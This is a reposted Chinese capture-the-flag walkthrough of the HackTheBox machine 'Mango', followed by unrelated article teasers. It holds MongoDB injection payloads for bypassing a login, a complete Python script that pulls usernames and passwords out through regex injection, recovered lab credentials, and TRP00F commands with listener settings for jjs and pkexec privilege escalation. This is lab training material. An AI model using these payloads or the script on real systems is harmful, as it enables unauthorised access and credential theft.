[Meachines] [Medium] Mango PHP弱比较绕过+MongoDB注入+TRP00F自动化权限提升+JJS权限提升

news2024/11/16 3:48:33

信息收集

IP AddressOpening Ports
10.10.10.162TCP:22,80,443

$ nmap -p- 10.10.10.162 --min-rate 1000 -sC -sV

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Mango | Search Base
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

MongoDB 注入

# echo '10.10.10.162 mango.htb staging-order.mango.htb'>>/etc/hosts

image.png

staging-order.mango.htb

image-1.png

注入引号不会返回错误或改变响应。由于网站运行的是 PHP,我们可以尝试通过类型转换绕过认证。这可以通过在请求参数中添加 [] 来实现,使 PHP 将这些参数作为数组处理。如果存在某种弱比较,这将绕过认证。

image-2.png

然而,这次尝试也失败了。接下来,我们可以尝试 NoSQL 注入攻击,比如 MongoDB 认证绕过。MongoDB 使用 $ne(不等于)运算符来比较值。这个运算符可以通过数组语法传递给 PHP,最终注入到 MongoDB 查询中。

示例:

db.users.find({ username: “admin”, password: “admin” });

注入payload为

db.users.find({ username: "admin", password: {$ne:"admin"} });

username=admin&password[$ne]=admin&login=login

重定向到home.php页面

image-3.png

由于首页没有返回任何有用的信息,我们可以尝试使用 MongoDB 的 $regex 运算符从数据库中提取数据。$regex 运算符允许通过正则表达式来查找数据。例如,以下查询将搜索匹配正则表达式 a.* 的用户名,这个正则表达式匹配任何包含字母 a 的用户名:

db.users.find({username: { $regex : "a.*", password: { $ne : "admin" } });

username[$regex]=a.*&password[$ne]=admin&login=login

image-4.png

username[$regex]=1.*&password[$ne]=admin&login=login

image-5.png

# exp.py
# @Maptnh
import re
from requests import post
from string import ascii_lowercase, ascii_uppercase, digits, punctuation

url = 'http://staging-order.mango.htb/'

class Colors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def get_characters():
    """Identify potential username and password characters."""
    charset = ascii_lowercase + ascii_uppercase + digits
    found_chars = []

    for char in charset:
        response = post(url, data={
            'username[$regex]': f'^{char}.*',
            'password[$ne]': 'password',
            'login': 'login'
        }, allow_redirects=False)
        if response.status_code == 302:
            found_chars.append(char)
            print(f"{Colors.OKGREEN}[+] Found character: {char}{Colors.ENDC}")

    return found_chars

def build_usernames(chars):
    """Build usernames from identified characters."""
    print(f"{Colors.WARNING}[*] Building usernames...{Colors.ENDC}")
    charset = ascii_lowercase + ascii_uppercase + digits
    usernames = []

    for char in chars:
        username = char
        while True:
            found_char = False
            for next_char in charset:
                regex = f'^{username + next_char}.*'
                response = post(url, data={
                    'username[$regex]': regex,
                    'password[$ne]': 'password',
                    'login': 'login'
                }, allow_redirects=False)
                if response.status_code == 302:
                    username += next_char
                    found_char = True
                    print(f"{Colors.OKGREEN}[+] Found character '{next_char}' for username: {username}{Colors.ENDC}")
                    break

            if not found_char:
                break
        
        usernames.append(username)
        print(f"{Colors.OKGREEN}[+] Found username: {username}{Colors.ENDC}")

    return usernames

def escape_special_characters(s):
    """Escape special characters in the string for regex."""
    return re.escape(s)

def find_passwords(usernames):
    """Attempt to find passwords for each identified username."""
    print(f"{Colors.WARNING}[*] Finding passwords for users...{Colors.ENDC}")
    charset = ascii_lowercase + ascii_uppercase + digits + punctuation
    results = []

    for user in usernames:
        password = ''
        while True:
            found_char = False
            for char in charset:
                escaped_password = escape_special_characters(password + char)
                response = post(url, data={
                    'username': user,
                    'password[$regex]': f'^{escaped_password}.*',
                    'login': 'login'
                }, allow_redirects=False)
                if response.status_code == 302:
                    password += char
                    found_char = True
                    print(f"{Colors.OKGREEN}[+] Found character '{char}' for password: {password}{Colors.ENDC}")
                    break

            if not found_char:
                break

        results.append((user, password))
        print(f"{Colors.OKGREEN}[+] Password found for user {user}: {password}{Colors.ENDC}")

    return results

def print_results(results):
    """Print the results in a table format."""
    print(f"{Colors.HEADER}\n[+] Final results:{Colors.ENDC}")
    print(f"{Colors.BOLD}{'Username':<20} {'Password':<20}{Colors.ENDC}")
    print(f"{'='*40}")
    for user, password in results:
        print(f"{user:<20} {password:<20}")

if __name__ == '__main__':
    chars = get_characters()
    usernames = build_usernames(chars)
    results = find_passwords(usernames)
    print_results(results)

$ python3 exp.py

Username             Password            
========================================
admin                t9KcS3>!0B#2        
mango                h3mXK8RhU~f{]f5H   

image-6.png

$ ssh mango@mango.htb

image-7.png

$ su admin

User.txt

6fcde02686f818d7a13592d510c4867f

权限提升

JJS 权限提升 & TRP00F 权限提升

https://github.com/MartinxMax/trp00f

通过jjs权限提升

$ python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10035 --http 9999

[!] Do you want to exploit the vulnerability in file jjs? (y/n) >y

[!] Do you want to exploit the vulnerability in file ‘pkexec’ ? (y/n) >n

image-11.png

也可以通过TRP00F其他的权限提升插件来直接获取ROOT权限

$ python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10035 --http 9999

[!] Do you want to exploit the vulnerability in file jjs? (y/n) >n

[!] Do you want to exploit the vulnerability in file ‘pkexec’ ? (y/n) >y

image-10.png

Root.txt

110c3bcc1eb4a29e3da9c2e1d372c50d

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043261.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

<数据集>快递识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;5382张 标注数量(xml文件个数)&#xff1a;5382 标注数量(txt文件个数)&#xff1a;5382 标注类别数&#xff1a;1 标注类别名称&#xff1a;[Box-Packet] 序号类别名称图片数框数1Box-Packet53828965 使用标注工…

8.15-配置mysql5.7环境+使用python管理数据库+使用中间件mycat配置读写分离

一、配置mysql5.7的环境 1.基础配置 # 将mysql5.7的包拖入xshell [rootmysql_5 ~]# ls anaconda-ks.cfg mysql-5.7.44-linux-glibc2.12-x86_64.tar.gz ​ # 解压 [rootmysql_5 ~]# tar -xf mysql-5.7.44-linux-glibc2.12-x86_64.tar.gz ​ # 备份文件 [rootmysql_5 ~]# cp…

短说V4.2.0测试版发布|字体更换、小名片及个人中心UI更换

Hi 大家好&#xff0c; 我是给你们带来惊喜的运营小番茄。 本期更新为短说V4.2.0测试版&#xff0c;本次更新涉及平台有H5、App、微信小程序。 4.2.0版本除功能优化外&#xff0c;新增了如下功能&#xff1a; 一、新增功能 通用版&#xff1a; ①全站默认字体全部更换为…

淘宝到一个墨水屏,成功实现显示经历记录

一&#xff0c;淘一个墨水屏的原因 在一些小的PCB设计和编程中发现&#xff0c;许多程序控制运行情况如果能够显示出来&#xff0c;会很完美。大学时期使用LCD1602&#xff08;经典&#xff09;显示了一个称重传感器的课程设计&#xff0c;后来尝试OLED显示。在过程中发现墨水…

【嵌入式linux开发】智能家居入门5(QT、微信小程序、HTTP协议、ONENET云平台、旭日x3派)

智能家居入门5&#xff08;QT、微信小程序、HTTP协议、ONENET云平台、旭日x3派&#xff09; 前言一、QT界面设计二、云平台产品创建与连接三、下位机端QT代码总览&#xff1a;四、微信小程序端代码总览五、板端测试 前言 前四篇智能家居相关文章都是使用STM32作为主控&#xf…

报表的多行业应用!用工具做报表省了我不少事...

一、什么是报表&#xff1f; 说起报表&#xff0c;你不会还停留在Excel报表的层面上吧&#xff1f; 传统的报表一般都是基于Excel制作的&#xff0c;主要面向业务人员、开发人员等&#xff0c;也有一些公司会自己去开发设计&#xff0c;只不过周期较长&#xff0c;耗费人力多。…

端到端自动驾驶落地挑战与驱动力

1、端到端的发展驱动力 1.1 对标驱动&#xff1a;特斯拉FSD的标杆作用吸引行业关注 大部分行业专家表示&#xff0c;特斯拉FSD v12的优秀表现&#xff0c;是端到端自动驾驶这一技术路线快速形成大范围共识的最重要的推动力&#xff1b;而在此之前&#xff0c;从来没有一个自动…

C#模拟量线性变换小程序

1、一步步建立一个C#项目 一步步建立一个C#项目(连续读取S7-1200PLC数据)_s7协议批量读取-CSDN博客文章浏览阅读1.7k次,点赞2次,收藏4次。本文详细介绍了如何使用C#构建一个项目,通过S7net库连接并连续读取S7-1200 PLC的数据,包括创建窗体应用、配置存储位置、安装S7net库…

服务器端请求伪造漏洞

1.客户端请求 客户端请求指的是由客户端设备(如个人计算机、智能手机、平板电脑等)或软件(浏览器、各种APP)发出的请求&#xff0c;以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输入URL或点击链接时&#xff0c;浏览器会自动发起HTTP请求&#xff0c;请求服…

Python | Leetcode Python题解之第335题路径交叉

题目&#xff1a; 题解&#xff1a; class Solution:def isSelfCrossing(self, distance: List[int]) -> bool:n len(distance)# 处理第 1 种情况i 0while i < n and (i < 2 or distance[i] > distance[i - 2]):i 1if i n:return False# 处理第 j 次移动的情况…

【语义通信】灵(Genie)——6G的第四维元素

6G 不仅包含 5G 涉及的人类社会、信息空间、 物理世界&#xff08;人、机、物&#xff09;这 3 个核心元素&#xff0c;还第四维元素—灵&#xff08;Genie&#xff09;。Genie存在于虚拟世界体系&#xff0c;虚拟世界体系包括&#xff08;VPS, VBS, VSS&#xff09;&#xff0…

BvSP_ Broad-view Soft Prompting for Few-Shot Aspect Sentiment Quad Prediction

中文题目: 英文题目: BvSP: Broad-view Soft Prompting for Few-Shot Aspect Sentiment Quad Prediction 论文地址: aclanthology.org/2024.acl-long.460.pdf 代码地址: https://github.com/byinhao/BvSP 论文级别&#xff0c; 单位: (2024 ACL long paper) 南开大学&#xff0…

写给大数据开发:如何解决拖延

你是否曾面对一个复杂的Spark任务&#xff0c;明知它对项目至关重要&#xff0c;却总是找各种理由推迟动手&#xff1f;或者&#xff0c;你有没有在面对一堆待优化的Hive查询时&#xff0c;选择先去重构那个"并不那么紧急"的Python脚本&#xff1f; 如果你点头了&am…

faceswap安装

目录 简介下载地址安装clone代码安装conda配置和安装 启动其他 简介 Faceswap 是领先的免费开源多平台 Deepfakes 软件。由 Tensorflow、Keras 和 Python 提供支持&#xff1b;Faceswap 将在 Windows、macOS 和 Linux 上运行。支持CPU运行&#xff0c;无独显也能跑。 下载地址…

language model

1、language model&#xff08;LM&#xff09;&#xff1a;估计token序列的可能性 2、对于HMM&#xff0c;固定需要P(Y)才符合公式&#xff1b;对于LAS&#xff0c;加上P(Y)能够使效果更好 P(Y|X)需要成对的数据&#xff0c;而P(Y)不需要成对&#xff0c;所以可以得到很多数据 …

Git使用教程介绍 - 1.Git 起因和背景

对于git的整体运作体系和更多的基本操作和概念并不是非常熟悉&#xff0c;因此恶补一番&#xff0c;把自己的成果和理解整理为一个git使用系列。 我也会不断更新该系列&#xff0c;与大家共勉&#xff0c;也是自我学习迭代的过程。 更多技术文章&#xff0c;全网首发公众号 “…

pytorch库 05 PyTorch深度学习实践笔记

文章目录 一、基本概念1、深度学习流程2、感知机结构与人工神经网络结构3、反向传播&#xff08;Back Propagation&#xff09;导学 二、线性模型1、线性模型计算流程2、代码实现3、小练习 三、梯度下降算法1、梯度下降计算流程2、代码实现3、随机梯度下降&#xff08;SGD&…

你还纠结996吗?2024年互联网公司工作时长排行榜出炉!

2024年互联网公司工作时长排行榜新鲜出炉&#xff01;在这个竞争激烈的行业中&#xff0c;工作时长一直是人们关注的热点话题。你还在纠结996工作制吗&#xff1f;也许这份排行榜会给你一些意想不到的答案。 为什么一些公司依旧推行996&#xff0c;而另一些公司却在努力减少员…

驾考流程不清晰?教练精心整理,学车速看!(建议收藏)

驾考流程太复杂&#xff1f;不知道报名之后要怎么做&#xff1f;看这一篇给你把驾考流程说通透&#xff01; 第1步 驾校报名 建议从驾校的规模、收费、教练水平、合格率等方面综合考虑&#xff0c;选择一个适合自己的驾校&#xff0c;携带个人身份证进行缴费报名。 第2步 体检…

C++:map And set

1. 关联式容器 在初阶阶段&#xff0c;我们已经接触过STL中的部分容器&#xff0c;比如&#xff1a;vector、list、deque、forward_list(C11)等&#xff0c;这些容器统称为序列式容器&#xff0c;因为其底层为线性序列的数据结构&#xff0c;里面存储的是元素本身。那什么是关联…